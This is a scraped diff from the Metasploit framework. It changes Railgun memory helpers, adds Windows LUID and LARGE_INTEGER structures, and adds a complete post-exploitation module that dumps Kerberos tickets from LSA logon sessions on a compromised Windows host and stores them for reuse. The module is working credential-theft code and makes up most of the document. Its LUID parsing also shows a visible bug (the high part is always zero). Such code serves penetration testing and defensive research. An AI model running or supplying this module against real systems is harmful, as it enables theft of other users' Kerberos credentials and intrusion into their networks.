|
buffer += [num].pack(native)
|
||||||
|
elsif args[param_idx] == nil # null pointer?
|
||||||
|
buffer = [0].pack(native) # type: LPVOID (so the library does not rebase it)
|
||||||
buffer += [0].pack(native) # value: 0
|
buffer += [0].pack(native) # value: 0
|
||||||
elsif param_desc[2] == 'in'
|
elsif param_desc[2] == 'in'
|
||||||
buffer = [1].pack(native)
|
buffer = [1].pack(native)
|
||||||
|
|
|
@ -117,13 +117,18 @@ module LibraryHelper
|
||||||
val = param_to_number(args[param_idx])
|
val = param_to_number(args[param_idx])
|
||||||
buffer = [val].pack('V')
|
buffer = [val].pack('V')
|
||||||
when "PWCHAR"
|
when "PWCHAR"
|
||||||
raise "param #{param_desc[1]}: string expected" unless args[param_idx].class == String
|
next if args[param_idx].is_a?(Integer) && direction == 'in'
|
||||||
|
raise "param #{param_desc[1]}: string or integer expected" unless args[param_idx].class == String
|
||||||
buffer = str_to_uni_z(args[param_idx])
|
buffer = str_to_uni_z(args[param_idx])
|
||||||
when "PCHAR"
|
when "PCHAR"
|
||||||
raise "param #{param_desc[1]}: string expected" unless args[param_idx].class == String
|
next if args[param_idx].is_a?(Integer) && direction == 'in'
|
||||||
|
raise "param #{param_desc[1]}: string or integer expected" unless args[param_idx].class == String
|
||||||
buffer = str_to_ascii_z(args[param_idx])
|
buffer = str_to_ascii_z(args[param_idx])
|
||||||
when "PBLOB"
|
when "PBLOB"
|
||||||
raise "param #{param_desc[1]}: please supply your BLOB as string!" unless args[param_idx].class == String
|
next if args[param_idx].is_a?(Integer) && direction == 'in'
|
||||||
|
args[param_idx] = args[param_idx].to_binary_s if args[param_idx].is_a?(BinData::Struct)
|
||||||
|
|
||||||
|
raise "param #{param_desc[1]}: string or integer expected" unless args[param_idx].class == String
|
||||||
buffer = args[param_idx]
|
buffer = args[param_idx]
|
||||||
# other types (non-pointers) don't reference buffers
|
# other types (non-pointers) don't reference buffers
|
||||||
# and don't need any treatment here
|
# and don't need any treatment here
|
||||||
|
@ -145,8 +150,6 @@ module LibraryHelper
|
||||||
return [layout, blob]
|
return [layout, blob]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end; end; end; end; end; end;
|
end; end; end; end; end; end;
|
||||||
|
|
|
@ -93,7 +93,8 @@ class Railgun
|
||||||
'psapi',
|
'psapi',
|
||||||
'dbghelp',
|
'dbghelp',
|
||||||
'winspool',
|
'winspool',
|
||||||
'spoolss'
|
'spoolss',
|
||||||
|
'secur32'
|
||||||
].freeze
|
].freeze
|
||||||
}.freeze
|
}.freeze
|
||||||
|
|
||||||
|
@ -186,7 +187,7 @@ class Railgun
|
||||||
# LPVOID parameters)
|
# LPVOID parameters)
|
||||||
#
|
#
|
||||||
def memwrite(address, data, length=nil)
|
def memwrite(address, data, length=nil)
|
||||||
|
data = data.to_binary_s if data.is_a?(BinData::Struct)
|
||||||
length = data.length if length.nil?
|
length = data.length if length.nil?
|
||||||
raise "Invalid parameters." if(not address or not data or not length)
|
raise "Invalid parameters." if(not address or not data or not length)
|
||||||
|
|
||||||
|
|
|
@ -317,6 +317,7 @@ class Util
|
||||||
def initialize(railgun, arch)
|
def initialize(railgun, arch)
|
||||||
@railgun = railgun
|
@railgun = railgun
|
||||||
@is_64bit = arch == ARCH_X64
|
@is_64bit = arch == ARCH_X64
|
||||||
|
@process_heap = nil
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -348,6 +349,28 @@ class Util
|
||||||
return pointer.nil? || pointer == 0
|
return pointer.nil? || pointer == 0
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def alloc_and_write_data(data)
|
||||||
|
return nil if data.nil? || process_heap.nil?
|
||||||
|
|
||||||
|
result = railgun.kernel32.HeapAlloc(process_heap, railgun.const('HEAP_ZERO'), data.length)
|
||||||
|
return nil if result['return'].nil?
|
||||||
|
|
||||||
|
addr = result['return']
|
||||||
|
return nil unless railgun.memwrite(addr, data, data.length)
|
||||||
|
|
||||||
|
addr
|
||||||
|
end
|
||||||
|
|
||||||
|
def free_data(*ptrs)
|
||||||
|
return false if ptrs.empty?
|
||||||
|
return false if process_heap.nil?
|
||||||
|
|
||||||
|
results = railgun.multi(
|
||||||
|
ptrs.map { |ptr| ['kernel32', 'HeapFree', [process_heap, 0, ptr.to_i]] }
|
||||||
|
)
|
||||||
|
results.map { |res| res['return'] }.all?
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Reads null-terminated unicode strings from memory.
|
# Reads null-terminated unicode strings from memory.
|
||||||
#
|
#
|
||||||
|
@ -382,21 +405,13 @@ class Util
|
||||||
# InitializeUnicodeStr(&uStr, sL"string");
|
# InitializeUnicodeStr(&uStr, sL"string");
|
||||||
#
|
#
|
||||||
def alloc_and_write_wstring(value)
|
def alloc_and_write_wstring(value)
|
||||||
return nil if value == nil
|
return nil if value.nil?
|
||||||
|
|
||||||
data = str_to_uni_z(value)
|
alloc_and_write_data(str_to_uniz_a(value))
|
||||||
result = railgun.kernel32.VirtualAlloc(nil, data.length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
|
|
||||||
if result['return'].nil?
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
addr = result['return']
|
|
||||||
if railgun.memwrite(addr, data, data.length)
|
|
||||||
return addr
|
|
||||||
else
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias free_wstring free_data
|
||||||
|
|
||||||
#
|
#
|
||||||
# Write ASCII strings to memory.
|
# Write ASCII strings to memory.
|
||||||
#
|
#
|
||||||
|
@ -404,21 +419,13 @@ class Util
|
||||||
# InitializeStr(&Str,"string");
|
# InitializeStr(&Str,"string");
|
||||||
#
|
#
|
||||||
def alloc_and_write_string(value)
|
def alloc_and_write_string(value)
|
||||||
return nil if value == nil
|
return nil if value.nil?
|
||||||
|
|
||||||
data = str_to_ascii_z(value)
|
alloc_and_write_data(str_to_ascii_z(value))
|
||||||
result = railgun.kernel32.VirtualAlloc(nil, data.length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
|
|
||||||
if result['return'].nil?
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
addr = result['return']
|
|
||||||
if railgun.memwrite(addr, data, data.length)
|
|
||||||
return addr
|
|
||||||
else
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias free_string free_data
|
||||||
|
|
||||||
#
|
#
|
||||||
# Reads null-terminated ASCII strings from memory.
|
# Reads null-terminated ASCII strings from memory.
|
||||||
#
|
#
|
||||||
|
@ -704,6 +711,16 @@ class Util
|
||||||
protected
|
protected
|
||||||
|
|
||||||
attr_accessor :railgun, :is_64bit
|
attr_accessor :railgun, :is_64bit
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def process_heap
|
||||||
|
return @process_heap unless @process_heap.nil?
|
||||||
|
|
||||||
|
handle = railgun.kernel32.GetProcessHeap()['return']
|
||||||
|
return nil if handle == 0
|
||||||
|
@process_heap = handle
|
||||||
|
end
|
||||||
end # Util
|
end # Util
|
||||||
end # Railgun
|
end # Railgun
|
||||||
end # Stdapi
|
end # Stdapi
|
||||||
|
|
|
@ -749,4 +749,32 @@ module Rex::Proto::MsDtyp
|
||||||
offset
|
offset
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# [2.3.7 LUID](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/48cbee2a-0790-45f2-8269-931d7083b2c3)
|
||||||
|
class MsDtypLuid < BinData::Record
|
||||||
|
endian :little
|
||||||
|
|
||||||
|
uint32 :low_part
|
||||||
|
int32 :high_part
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
"0x#{high_part.to_i.to_s(16)}#{low_part.to_i.to_s(16).rjust(8, '0')}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# [2.3.5 LARGE_INTEGER](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/e904b1ba-f774-4203-ba1b-66485165ab1a)
|
||||||
|
class MsDtypLargeInteger < BinData::Record
|
||||||
|
endian :big_and_little
|
||||||
|
|
||||||
|
uint32 :low_part
|
||||||
|
int32 :high_part
|
||||||
|
|
||||||
|
def to_datetime
|
||||||
|
RubySMB::Field::FileTime.new(to_i).to_datetime
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_i
|
||||||
|
(high_part.to_i << 32) | low_part.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -135,9 +135,7 @@ class MetasploitModule < Msf::Post
|
||||||
addr = session.railgun.util.alloc_and_write_wstring('Kali-Team')
|
addr = session.railgun.util.alloc_and_write_wstring('Kali-Team')
|
||||||
client.railgun.user32.SendMessageW(window_hwnd, 'WM_GETTEXT', 1024, addr)
|
client.railgun.user32.SendMessageW(window_hwnd, 'WM_GETTEXT', 1024, addr)
|
||||||
text = session.railgun.util.read_wstring(addr)
|
text = session.railgun.util.read_wstring(addr)
|
||||||
client.railgun.multi([
|
session.railgun.util.free_data(addr)
|
||||||
['kernel32', 'VirtualFree', [addr, 0, MEM_RELEASE]],
|
|
||||||
])
|
|
||||||
if text.strip == ''
|
if text.strip == ''
|
||||||
return nil
|
return nil
|
||||||
else
|
else
|
||||||
|
|
|
@ -0,0 +1,347 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'rex/proto/kerberos/model/kerberos_flags'
|
||||||
|
require 'rex/proto/kerberos/model/ticket_flags'
|
||||||
|
require 'rex/proto/ms_dtyp'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Post
|
||||||
|
include Msf::Post::Process
|
||||||
|
include Msf::Post::Windows::Lsa
|
||||||
|
include Msf::Exploit::Remote::Kerberos::Ticket
|
||||||
|
|
||||||
|
CURRENT_PROCESS = -1
|
||||||
|
CURRENT_THREAD = -2
|
||||||
|
|
||||||
|
# https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-security_logon_type
|
||||||
|
SECURITY_LOGON_TYPE = {
|
||||||
|
0 => 'UndefinedLogonType',
|
||||||
|
2 => 'Interactive',
|
||||||
|
3 => 'Network',
|
||||||
|
4 => 'Batch',
|
||||||
|
5 => 'Service',
|
||||||
|
6 => 'Proxy',
|
||||||
|
7 => 'Unlock',
|
||||||
|
8 => 'NetworkCleartext',
|
||||||
|
9 => 'NewCredentials',
|
||||||
|
10 => 'RemoteInteractive',
|
||||||
|
11 => 'CachedInteractive',
|
||||||
|
12 => 'CachedRemoteInteractive',
|
||||||
|
13 => 'CachedUnlock'
|
||||||
|
}.freeze
|
||||||
|
# https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-kerb_protocol_message_type
|
||||||
|
KERB_RETRIEVE_ENCODED_TICKET_MESSAGE = 8
|
||||||
|
KERB_QUERY_TICKET_CACHE_EX_MESSAGE = 14
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'Kerberos Ticket Management',
|
||||||
|
'Description' => %q{
|
||||||
|
Manage kerberos tickets on a compromised host.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'Will Schroeder', # original idea/research
|
||||||
|
'Spencer McIntyre'
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
[ 'URL', 'https://github.com/GhostPack/Rubeus' ],
|
||||||
|
[ 'URL', 'https://github.com/wavvs/nanorobeus' ]
|
||||||
|
],
|
||||||
|
'Platform' => ['win'],
|
||||||
|
'SessionTypes' => %w[meterpreter],
|
||||||
|
'Actions' => [
|
||||||
|
['DUMP_TICKETS', { 'Description' => 'Dump the Kerberos tickets' }],
|
||||||
|
['ENUM_LUIDS', { 'Description' => 'Enumerate session logon LUIDs' }],
|
||||||
|
['SHOW_LUID', { 'Description' => 'Show the current LUID' }],
|
||||||
|
],
|
||||||
|
'DefaultAction' => 'DUMP_TICKETS',
|
||||||
|
'Notes' => {
|
||||||
|
'Stability' => [],
|
||||||
|
'Reliability' => [],
|
||||||
|
'SideEffects' => []
|
||||||
|
},
|
||||||
|
'Compat' => {
|
||||||
|
'Meterpreter' => {
|
||||||
|
'Commands' => %w[
|
||||||
|
stdapi_net_resolve_host
|
||||||
|
stdapi_railgun_api
|
||||||
|
stdapi_railgun_memread
|
||||||
|
stdapi_railgun_memwrite
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new(
|
||||||
|
'LUID',
|
||||||
|
[false, 'An optional logon session LUID to target'],
|
||||||
|
conditions: [ 'ACTION', 'in', %w[SHOW_LUID DUMP_TICKETS]],
|
||||||
|
regex: /^(0x[a-fA-F0-9]{1,16})?$/
|
||||||
|
),
|
||||||
|
OptString.new(
|
||||||
|
'SERVICE',
|
||||||
|
[false, 'An optional service name wildcard to target (e.g. krbtgt/*)'],
|
||||||
|
conditions: %w[ACTION == DUMP_TICKETS]
|
||||||
|
)
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
case session.native_arch
|
||||||
|
when ARCH_X64
|
||||||
|
@ptr_size = 8
|
||||||
|
when ARCH_X86
|
||||||
|
@ptr_size = 4
|
||||||
|
else
|
||||||
|
fail_with(Failure::NoTarget, "This module does not support #{session.native_arch} sessions.")
|
||||||
|
end
|
||||||
|
@hostname_cache = {}
|
||||||
|
@indent_level = 0
|
||||||
|
|
||||||
|
send("action_#{action.name.downcase}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def action_dump_tickets
|
||||||
|
handle = lsa_register_logon_process
|
||||||
|
luids = nil
|
||||||
|
if handle
|
||||||
|
if target_luid
|
||||||
|
luids = [ target_luid ]
|
||||||
|
else
|
||||||
|
luids = lsa_enumerate_logon_sessions
|
||||||
|
print_error('Failed to enumerate logon sessions.') if luids.nil?
|
||||||
|
end
|
||||||
|
trusted = true
|
||||||
|
else
|
||||||
|
handle = lsa_connect_untrusted
|
||||||
|
# if we can't register a logon process then we can only act on the current LUID so skip enumeration
|
||||||
|
fail_with(Failure::Unknown, 'Failed to obtain a handle to LSA.') if handle.nil?
|
||||||
|
trusted = false
|
||||||
|
end
|
||||||
|
luids ||= [ get_current_luid ]
|
||||||
|
|
||||||
|
print_status("LSA Handle: 0x#{handle.to_s(16).rjust(@ptr_size * 2, '0')}")
|
||||||
|
auth_package = lsa_lookup_authentication_package(handle, 'kerberos')
|
||||||
|
if auth_package.nil?
|
||||||
|
lsa_deregister_logon_process(handle)
|
||||||
|
fail_with(Failure::Unknown, 'Failed to lookup the Kerberos authentication package.')
|
||||||
|
end
|
||||||
|
|
||||||
|
luids.each do |luid|
|
||||||
|
dump_for_luid(handle, auth_package, luid, null_luid: !trusted)
|
||||||
|
end
|
||||||
|
lsa_deregister_logon_process(handle)
|
||||||
|
end
|
||||||
|
|
||||||
|
def action_enum_luids
|
||||||
|
current_luid = get_current_luid
|
||||||
|
luids = lsa_enumerate_logon_sessions
|
||||||
|
fail_with(Failure::Unknown, 'Failed to enumerate logon sessions.') if luids.nil?
|
||||||
|
|
||||||
|
luids.each do |luid|
|
||||||
|
logon_session_data_ptr = lsa_get_logon_session_data(luid)
|
||||||
|
unless logon_session_data_ptr
|
||||||
|
print_status("LogonSession LUID: #{luid}")
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')
|
||||||
|
session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def action_show_luid
|
||||||
|
current_luid = get_current_luid
|
||||||
|
luid = target_luid || current_luid
|
||||||
|
logon_session_data_ptr = lsa_get_logon_session_data(luid)
|
||||||
|
return unless logon_session_data_ptr
|
||||||
|
|
||||||
|
print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')
|
||||||
|
session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)
|
||||||
|
end
|
||||||
|
|
||||||
|
def dump_for_luid(handle, auth_package, luid, null_luid: false)
|
||||||
|
logon_session_data_ptr = lsa_get_logon_session_data(luid)
|
||||||
|
return unless logon_session_data_ptr
|
||||||
|
|
||||||
|
print_logon_session_summary(logon_session_data_ptr)
|
||||||
|
session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)
|
||||||
|
|
||||||
|
logon_session_data_ptr.contents.logon_id.clear if null_luid
|
||||||
|
query_tkt_cache_req = KERB_QUERY_TKT_CACHE_REQUEST.new(
|
||||||
|
message_type: KERB_QUERY_TICKET_CACHE_EX_MESSAGE,
|
||||||
|
logon_id: logon_session_data_ptr.contents.logon_id
|
||||||
|
)
|
||||||
|
query_tkt_cache_res_ptr = lsa_call_authentication_package(handle, auth_package, query_tkt_cache_req)
|
||||||
|
if query_tkt_cache_res_ptr
|
||||||
|
indented_print do
|
||||||
|
dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr)
|
||||||
|
end
|
||||||
|
session.railgun.secur32.LsaFreeReturnBuffer(query_tkt_cache_res_ptr.value)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr)
|
||||||
|
case session.native_arch
|
||||||
|
when ARCH_X64
|
||||||
|
query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x64
|
||||||
|
retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x64
|
||||||
|
retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x64
|
||||||
|
when ARCH_X86
|
||||||
|
query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x86
|
||||||
|
retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x86
|
||||||
|
retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x86
|
||||||
|
end
|
||||||
|
|
||||||
|
tkt_cache = query_tkt_cache_response_klass.read(query_tkt_cache_res_ptr.contents)
|
||||||
|
tkt_cache.tickets.each_with_index do |ticket, index|
|
||||||
|
server_name = read_lsa_unicode_string(ticket.server_name)
|
||||||
|
if datastore['SERVICE'].present? && !File.fnmatch?(datastore['SERVICE'], server_name.split('@').first, File::FNM_CASEFOLD | File::FNM_DOTMATCH)
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
server_name_wz = session.railgun.util.str_to_uni_z(server_name)
|
||||||
|
print_status("Ticket[#{index}]")
|
||||||
|
indented_print do
|
||||||
|
retrieve_tkt_req = retrieve_tkt_request_klass.new(
|
||||||
|
message_type: KERB_RETRIEVE_ENCODED_TICKET_MESSAGE,
|
||||||
|
logon_id: logon_session_data_ptr.contents.logon_id, cache_options: 8
|
||||||
|
)
|
||||||
|
ptr = session.railgun.util.alloc_and_write_data(retrieve_tkt_req.to_binary_s + server_name_wz)
|
||||||
|
next if ptr.nil?
|
||||||
|
|
||||||
|
retrieve_tkt_req.target_name.len = server_name_wz.length - 2
|
||||||
|
retrieve_tkt_req.target_name.maximum_len = server_name_wz.length
|
||||||
|
retrieve_tkt_req.target_name.buffer = ptr + retrieve_tkt_req.num_bytes
|
||||||
|
session.railgun.memwrite(ptr, retrieve_tkt_req)
|
||||||
|
retrieve_tkt_res_ptr = lsa_call_authentication_package(handle, auth_package, ptr, submit_buffer_length: retrieve_tkt_req.num_bytes + server_name_wz.length)
|
||||||
|
session.railgun.util.free_data(ptr)
|
||||||
|
next if retrieve_tkt_res_ptr.nil?
|
||||||
|
|
||||||
|
retrieve_tkt_res = retrieve_tkt_response_klass.read(retrieve_tkt_res_ptr.contents)
|
||||||
|
if retrieve_tkt_res.ticket.encoded_ticket != 0
|
||||||
|
ticket = kirbi_to_ccache(session.railgun.memread(retrieve_tkt_res.ticket.encoded_ticket, retrieve_tkt_res.ticket.encoded_ticket_size))
|
||||||
|
ticket_host = ticket.credentials.first.server.components.last.snapshot
|
||||||
|
ticket_host = resolve_host(ticket_host) if ticket_host
|
||||||
|
|
||||||
|
Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(ticket.encode)
|
||||||
|
Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: ticket_host)
|
||||||
|
presenter = Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(ticket)
|
||||||
|
print_line(presenter.present.split("\n").map { |line| " #{print_prefix}#{line}" }.join("\n"))
|
||||||
|
end
|
||||||
|
session.railgun.secur32.LsaFreeReturnBuffer(retrieve_tkt_res_ptr.value)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def target_luid
|
||||||
|
return nil if datastore['LUID'].blank?
|
||||||
|
|
||||||
|
val = datastore['LUID'].to_i(16)
|
||||||
|
Rex::Proto::MsDtyp::MsDtypLuid.new(
|
||||||
|
high_part: (val & 0xffffffff) >> 32,
|
||||||
|
low_part: (val & 0xffffffff)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def kirbi_to_ccache(input)
|
||||||
|
krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(input)
|
||||||
|
Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_current_luid
|
||||||
|
luid = get_token_statistics&.authentication_id
|
||||||
|
fail_with(Failure::Unknown, 'Failed to obtain the current LUID.') unless luid
|
||||||
|
luid
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_token_statistics(token: nil)
|
||||||
|
if token.nil?
|
||||||
|
result = session.railgun.advapi32.OpenThreadToken(CURRENT_THREAD, session.railgun.const('TOKEN_QUERY'), false, @ptr_size)
|
||||||
|
unless result['return']
|
||||||
|
error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
|
||||||
|
unless error == ::WindowsError::Win32::ERROR_NO_TOKEN
|
||||||
|
print_error("Failed to open the current thread token. OpenThreadToken failed with: #{error}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
result = session.railgun.advapi32.OpenProcessToken(CURRENT_PROCESS, session.railgun.const('TOKEN_QUERY'), @ptr_size)
|
||||||
|
unless result['return']
|
||||||
|
error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
|
||||||
|
print_error("Failed to open the current process token. OpenProcessToken failed with: #{error}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
token = result['TokenHandle']
|
||||||
|
end
|
||||||
|
|
||||||
|
result = session.railgun.advapi32.GetTokenInformation(token, 10, TOKEN_STATISTICS.new.num_bytes, TOKEN_STATISTICS.new.num_bytes, @ptr_size)
|
||||||
|
unless result['return']
|
||||||
|
error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
|
||||||
|
print_error("Failed to obtain the token information. GetTokenInformation failed with: #{error}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
TOKEN_STATISTICS.read(result['TokenInformation'])
|
||||||
|
end
|
||||||
|
|
||||||
|
def resolve_host(name)
|
||||||
|
name = name.dup.downcase # normalize the case since DNS is case insensitive
|
||||||
|
return @hostname_cache[name] if @hostname_cache.key?(name)
|
||||||
|
|
||||||
|
vprint_status("Resolving hostname: #{name}")
|
||||||
|
begin
|
||||||
|
address = session.net.resolve.resolve_host(name)[:ip]
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
elog("Unable to resolve #{name.inspect}", error: e)
|
||||||
|
end
|
||||||
|
@hostname_cache[name] = address
|
||||||
|
end
|
||||||
|
|
||||||
|
def print_logon_session_summary(logon_session_data_ptr, annotation: nil)
|
||||||
|
sid = '???'
|
||||||
|
if datastore['VERBOSE'] && logon_session_data_ptr.contents.psid != 0
|
||||||
|
# reading the SID requires 3 railgun calls so only do it in verbose mode to speed things up
|
||||||
|
# reading the data directly wouldn't be much faster because SIDs are of a variable length
|
||||||
|
result = session.railgun.advapi32.ConvertSidToStringSidA(logon_session_data_ptr.contents.psid.to_i, @ptr_size)
|
||||||
|
if result
|
||||||
|
sid = session.railgun.util.read_string(result['StringSid'])
|
||||||
|
session.railgun.kernel32.LocalFree(result['StringSid'])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("LogonSession LUID: #{logon_session_data_ptr.contents.logon_id} #{annotation}")
|
||||||
|
indented_print do
|
||||||
|
print_status("User: #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_domain)}\\#{read_lsa_unicode_string(logon_session_data_ptr.contents.user_name)}")
|
||||||
|
print_status("UserSID: #{sid}") if datastore['VERBOSE']
|
||||||
|
print_status("Session: #{logon_session_data_ptr.contents.session}")
|
||||||
|
print_status("AuthenticationPackage: #{read_lsa_unicode_string(logon_session_data_ptr.contents.authentication_package)}")
|
||||||
|
print_status("LogonType: #{SECURITY_LOGON_TYPE.fetch(logon_session_data_ptr.contents.logon_type.to_i, '???')} (#{logon_session_data_ptr.contents.logon_type.to_i})")
|
||||||
|
print_status("LogonTime: #{logon_session_data_ptr.contents.logon_time.to_datetime.localtime}")
|
||||||
|
print_status("LogonServer: #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_server)}") if datastore['VERBOSE']
|
||||||
|
print_status("LogonServerDNSDomain: #{read_lsa_unicode_string(logon_session_data_ptr.contents.dns_domain_name)}") if datastore['VERBOSE']
|
||||||
|
print_status("UserPrincipalName: #{read_lsa_unicode_string(logon_session_data_ptr.contents.upn)}") if datastore['VERBOSE']
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def peer
|
||||||
|
nil # drop the peer prefix from messages
|
||||||
|
end
|
||||||
|
|
||||||
|
def indented_print(&block)
|
||||||
|
@indent_level += 1
|
||||||
|
block.call
|
||||||
|
ensure
|
||||||
|
@indent_level -= 1
|
||||||
|
end
|
||||||
|
|
||||||
|
def print_prefix
|
||||||
|
super + (' ' * @indent_level.to_i * 2)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue